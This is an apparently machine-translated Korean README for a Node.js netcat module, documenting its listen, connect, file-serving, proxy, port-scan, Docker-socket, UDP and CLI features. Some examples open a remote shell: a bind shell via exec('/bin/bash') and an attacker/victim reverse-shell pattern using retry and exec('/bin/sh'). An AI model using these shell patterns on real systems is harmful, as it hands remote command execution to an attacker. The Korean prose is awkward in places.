node.js의 순수한 JavaScript로 작성된 NetCat 클라이언트 및 서버 모듈
모든 기본 NetCat의 기능을 구현하는 완전 테스트 된 모듈. 독립형 도구로 사용하려면 NC 패키지를 설치하십시오.
| 리눅스/맥 | 창 |
|---|---|
.auth('pass') ). allow 하고 deny . $ npm install --save netcat
const NetcatServer = require ( 'netcat/server' )
const NetcatClient = require ( 'netcat/client' )
const nc = new NetcatServer ( )
const nc2 = new NetcatClient ( ) 이 모듈의 API는 최대한 원래 NetCat의 CLI 매개 변수를 따르는 경향이 있습니다.
예를 들어 : nc -l -p 2389 nc.port(2389).listen() 과 같습니다. 쉬운?
| 섬기는 사람 | 고객 |
|---|---|
nc.port(2389).listen() | nc2.addr('127.0.0.1').port(2389).connect() |
| 섬기는 사람 | 고객 |
|---|---|
nc.port(2389).listen().pipe(outputStream) | inputStream.pipe(nc2.port(2389).connect().stream()) |
또는 그 반대로 당신은 nc -l -p 2389 < filename.txt 와 동등한 일을 할 수 있으며 다른 사람이 포트 2389에 연결할 때 파일이 원하는지 여부에 관계없이 전송됩니다.
| 섬기는 사람 | 고객 |
|---|---|
nc.port(2389).serve('filename.txt').listen() | nc2.port(2389).connect().pipe(outputStream) |
| 섬기는 사람 | 고객 |
|---|---|
nc.port(2389).k().listen() | inputStream.pipe(nc2.port(2389).connect().stream()) |
서버는 처음 연결 후에도 살아 있고 닫히지 않습니다. ( k() keepalive()
| 섬기는 사람 | 고객 |
|---|---|
nc.port(2389).listen().serve(Buffer.from('Hello World')) | nc2.port(2389).connect().on('data', console.log) |
| 섬기는 사람 | 고객 |
|---|---|
nc.port(2389).listen().exec('/bin/bash') | process.stdin.pipe( nc2.addr('127.0.0.1').port(2389).connect().pipe(process.stdout).stream() ) |
exec() 메소드는 주어진 명령을 실행하고 클라이언트 socket 과 함께 stdout 과 stderr 함께 파이프합니다.
| 공격자 | 피해자 |
|---|---|
nc.k().port(2389).listen().serve(process.stdin).pipe(process.stdout) | nc2.addr('127.0.0.1').port(2389) .retry(5000).connect().exec('/bin/sh') |
NetCat은 프록시 서버로 매우 쉽게 구성 할 수 있습니다.
var nc = new NetcatServer ( )
var nc2 = new NetcatClient ( )
nc2 . addr ( 'google.com' ) . port ( 80 ) . connect ( )
nc . port ( 8080 ) . k ( ) . listen ( ) . proxy ( nc2 . stream ( ) ) localhost:8080 에서 흐르는 모든 트래픽은 google.com:80 으로 리디렉션됩니다. 마찬가지로 동일한 호스트를 사용하여 포트 전달을 설정할 수 있습니다.
Apache 서버 인 척 :
var apache = `HTTP/1.1 200 OK
Date: Sat, 27 May 2017 16:51:02 GMT
Server: Apache/2.4.7 (Ubuntu)
Cache-Control: public, max-age=0
Content-Type: text/html; charset=utf-8
Content-Length: 16894
Vary: Accept-Encoding
`
var nc = new NetcatServer ( )
var logFile = fs . createWriteStream ( 'log.txt' )
nc . port ( 80 ) . k ( ) . listen ( ) . serve ( Buffer . from ( apache ) ) . pipe ( logFile ) NetCat 클라이언트는 기본 포트 스캔 기능도 제공합니다.
var nc = new NetcatClient ( )
nc . addr ( '127.0.0.1' ) . scan ( '22-80' , function ( ports ) {
// ports: { '22': 'open', '23': 'closed' ... }
} ) 포트 스캐너는 TCP 프로토콜 전용입니다. UDP 스캔은 실제로 효과적이지 않습니다. scan(...) 배열 또는 정수 번호도 허용합니다.
var nc = new NetcatServer ( )
nc . addr ( '127.0.0.1' ) . port ( 8080 ) . filter ( function ( chunk , enc , cb ) {
// transform upper case
var out = chunk . toString ( ) . toUpperCase ( )
this . push ( Buffer . from ( out ) )
cb ( null )
} ) . pipe ( process . stdout ) . connect ( ) NetCat 서버와 클라이언트는 모두 UNIX 소켓 CONN을 지원합니다. NetCat 클라이언트 인스턴스를 사용하여 Docker Unix 소켓 파일에 연결하고 컨테이너 이미지 목록을 검색해 봅시다.
nc2 . unixSocket ( '/var/run/docker.sock' ) . enc ( 'utf8' )
. on ( 'data' , function ( res ) {
console . log ( res )
} )
. connect ( )
. send ( 'GET /images/json HTTP/1.0rnrn' ) var nc = new NetcatServer ( )
nc . udp ( ) . port ( 2100 ) . listen ( ) . on ( 'data' , function ( rinfo , data ) {
console . log ( 'Got' , data . toString ( ) , 'from' , rinfo . address , rinfo . port )
nc . close ( )
} ) var nc2 = new NetcatClient ( )
nc2 . udp ( ) . port ( 2100 ) . wait ( 1000 ) . init ( ) . send ( 'hello' , '127.0.0.1' ) hello Buffer를 포트 2100 으로 보내고 1000 후 클라이언트를 닫습니다.
port(int) 또는 p(int)NetCat은 이미 사용중인 권한 제한 및 포트에 따라 모든 로컬 포트에 바인딩 할 수 있습니다.
address(host) 또는 addr(host)0.0.0.0 .127.0.0.1 . listen()이전에 설정된 포트에서 UDP/TCP 서버를 듣게하십시오.
unixSocket(path) -TCP 만선택적으로 유닉스 양말 파일의 경로를 제공하고 듣고/연결할 수 있습니다.
connect() - TCP 만 해당합니다클라이언트 측만. 클라이언트가 이전에 설정된 주소 및 포트에 연결하도록하십시오.
retry(ms) - TCP 만 클라이언트 측만. 연결이 손실되면 ms 초마다 연결됩니다.
interval(ms) 또는 i(ms)클라이언트 측만 : 전송 된 데이터의 지연 시간 간격을 지정합니다. 밀리 초.
waitTime(ms) 또는 wait(ms)타임 아웃을 설정하십시오.
ms Milliseconds를 대기하고 더 많은 데이터를 얻지 못하면 연결을 닫습니다.ms Milliseconds를 대기하고 클라이언트를 보낼 데이터가 더 있지 않으면 클라이언트를 닫습니다. stream()클라이언트 이중 스트림 참조를 반환하십시오.
pipe(outStream)클라이언트에서 주어진 아웃스트리어로의 파이프 수신 데이터.
filter(transformFn) 파이프를 배출하기 전에 주어진 변환 함수 function (chunk, enc, cb){...} 로 들어오는 데이터를 필터링하십시오.
NB : .on('data', cb) 데이터는 필터링되지 않습니다. 필터는 파이프 .pipe(...) 스트림에만 적용됩니다.
알려진 문제 : through2 지금은 인코딩을 존중하지 않습니다. 필터를 설정하면 버퍼가 발생하면 enc() 메소드가 쓸모가 없습니다.
serve()서버 측 메소드.
serve 메소드는 문자열 (파일 이름을 나타내고 파일이 존재하는지 확인), 읽기 가능한 스트림 또는 버퍼를 수락합니다. 읽을 수있는 스트림을 통과하면 requalive 메소드는 첫 번째 요청에서 스트림을 소비 할 수 있으며 더 이상 제공 될 수 없습니다 (스트림은 버퍼에 캐시되지 않습니다).
또한 파일 또는 버퍼를 소켓에 서빙 할 때 파이프는 소켓에 end (EOF) 이벤트를 방출합니다. 스트림을 닫습니다.
send(data [, cb|host])클라이언트 측 :
cb 라고합니다.서버 측 :
serve() 대신 사용하십시오.end(data) -TCP 만클라이언트 측 방법. 주어진 데이터를 보내고 연결을 닫습니다.
close([cb]) 연결을 닫고 (또는 서버 쪽이 실행 된 경우 연결을 닫고 소켓이 닫히면 cb 호출하십시오.
enc() 인코딩을 설정하십시오. 가장 흔한 것은 utf8 , ascii , base64 , hex , binary , hex 입니다.
protocol(prot) 사용자 정의 프로토콜을 설정하십시오. 이 방법의 사용은 권장되지 않습니다. 대신 tcp() 및 udp() 사용하십시오. tcp 는 기본값입니다.
keepalive() 또는 k() -Tcp 만 해당됩니다서버 측 메소드.
keepalive를 설정하면 서버가 계속 유지되고 pipe(outStream) 이 열려 있습니다.
UDP 모드에서 기본적으로 청취는 명시적인 nc.close() 까지 살아남습니다.
exec() -Tcp 만 exec() 메소드는 주어진 명령을 실행하고 클라이언트 socket 과 함께 stdout 과 stderr 함께 파이프합니다. 선택적으로 문자열과 Args 배열을 두 번째 매개 변수로, 스폰 옵션을 세 번째 매개 변수로 받아들입니다. 파이프 숯이 발견되면 | 그러면 모든 명령은 sh -c 에 따라 처리됩니다.
예:
nc . p ( 2389 ) . exec ( 'base64' , [ '-d' ] ) . listen ( )
// OR
nc . p ( 2389 ) . exec ( 'base64 | grep hello' ) . listen ( ) getClients() -TCP 만서버 측 메소드. 모든 클라이언트 소켓 참조를 나열하는 객체를 반환합니다.
proxy(duplexStream) - TCP 만 서버 측 메소드. 이 방법은 서버를 수신/출시 된 데이터를 제공된 이중 스트림으로 파이프합니다. 그것은 .serve(duplexStream) 와 .pipe(duplexStream) 위한 바로 가기와 같습니다.
output(outStream) 또는 out(outStream) 주어진 쓰기 스트림 outStream 에 들어오는 트래픽의 육각 덤프를 작성하십시오.
행은 기본적으로 최소 16 바이트의 덩어리를 나타냅니다.
첫 번째 문자는 각각 < > 청크"또는 "발행 청크"일 수 있습니다.
scan(portsInterval, cb) - TCP 만NetCat 클라이언트는 기본 포트 스캔 기능도 제공합니다.
매개 변수는 의무입니다. 첫 번째 매개 변수는 스캔 할 포트를 지정합니다. 단일 정수, 문자열 간격 (예 : 22-80 ) 또는 정수 배열 ( [22, 23, 1880] ) 일 수 있습니다. 콜백은 결과적으로 { '22': 'open', '23': 'closed' ... } 와 같은 객체를 반환합니다.
init() - UDP 만 해당됩니다 connect() 의 UDP와 동등한 것. UDP 클라이언트를 위해서만.
bind(<int>) - UDP 만 UDP 클라이언트/서버가 주어진 포트에서 듣게하십시오. 또한 .port(<n>) 호출되지 않은 경우 출시 포트로 사용됩니다.
broadcast(<dst>) 또는 b(<dst>) - UDP 만UDP 서버에 대한 브로드 캐스트를 설정하십시오 (결국 대상 주소를 지정할 수 있음).
destination(<dst>) - UDP 만 대상 주소를 설정하십시오. ( 127.0.0.1 은 기본값입니다)
loopback() - UDP 만루프백 활성화. 예를 들어, UDP 서버가 포트에 binder 고 해당 포트로 메시지를 보내면 루프백이 활성화되면 메시지가 다시 나타납니다.
bind(int) -UDP 만 해당합니다 UDP 서버/클라이언트를 바인딩하여 주어진 포트에서 듣고 포트 세트를 사용하여 port() 사용하여 패킷을 사용하십시오.
NetCat 모듈은 EventEmitter 클래스를 확장합니다. 소켓에서 바로 일부 이벤트를 잡을 수 있습니다. 예를 들어 서버의 data 이벤트 :
| 섬기는 사람 | 고객 |
|---|---|
nc.port(2389).listen().on('data', onData) | inputStream.pipe(nc2.port(2389).connect().stream()) |
function onData ( socket , chunk ) {
console . log ( socket . id , 'got' , chunk ) // Buffer <...>
socket . write ( 'hello client' ) // reply to the client
}.on('data', function(sock/rinfo, msg){})서버가 클라이언트로부터 데이터를 얻을 때 방출됩니다.
.on('ready', cb)서버가 포트를 성공적으로 듣거나 바인딩 할 때 방출됩니다.
.on('close', cb)서버가 닫히면 방출됩니다.
.on('clientClose', function(socket, hadError){}) - TCP 만 클라이언트가 서버에서 연결을 끊을 때 호출됩니다. 콜백은 socket 인스턴스가 단절된 1 차 매개 변수와 bool val hadError 로 허용됩니다.
.on('connection', function(socket){}) -TCP 만새 클라이언트가 서버에 연결할 때 방출됩니다.
.on('end', function(socket){}) -TCP 만클라이언트가 연결을 종료 할 때 방출됩니다.
.on('timeout', function(socket){}) -TCP 만소켓 타임 아웃 이벤트.
.on('waitTimeout', cb) 서버가 지정된 wait(ms) 시간 동안 비활성 상태로 유지 될 때 해고되었습니다.
.on('error', function(err){})오류가 발생했습니다.
.on('data', function(msg){})서버의 데이터.
.on('close', cb)클라이언트가 닫을 때 방출됩니다.
.on('waitTimeout', cb) 고객이 지정된 wait(ms) 시간 동안 활동하지 않은 상태에서 해고되었습니다.
.on('connect', cb) -TCP 만클라이언트가 서버와 연결을 설정했을 때 방출됩니다.
.on('error', function(err){})오류가 발생했습니다.
독립형 사용법의 경우 NC CLI 패키지를 설치하십시오.
$ npm install -g nc
예:
$ # Listen for inbound
$ nc -l -p port [- options] [hostname] [port]
사용 가능한 옵션 :
-c shell commands as '-e'; use /bin/sh to exec [dangerous!!]-e filename program to exec after connect [dangerous!!]-b allow broadcasts-i secs delay interval for lines sent, ports scanned (client-side)-h this cruft-k set keepalive option on socket-l listen mode, for inbound connects-n numeric-only IP addresses, no DNS-o file hex dump of traffic-p port local port number-r randomize local and remote ports-q secs quit after EOF on stdin and delay of secs-s addr local source address-u UDP mode-U Listen or connect to a UNIX domain socket-v verbose-w secs timeout for connects and final net reads-z zero-I/O mode [used for scanning] 디버그는 장점 모드와 일치합니다. verbose: true Param 또는 Env var DEBUG=netcat:* 로 활성화 할 수 있습니다.
npm test 로 실행하십시오
적용 범위:
.serve(input) 방법을 테스트하십시오 .pipe() 및 serve() 와의 keepalive 연결을 테스트합니다. exec() 메소드 Rocco Musolino (@Roccomuso)
MIT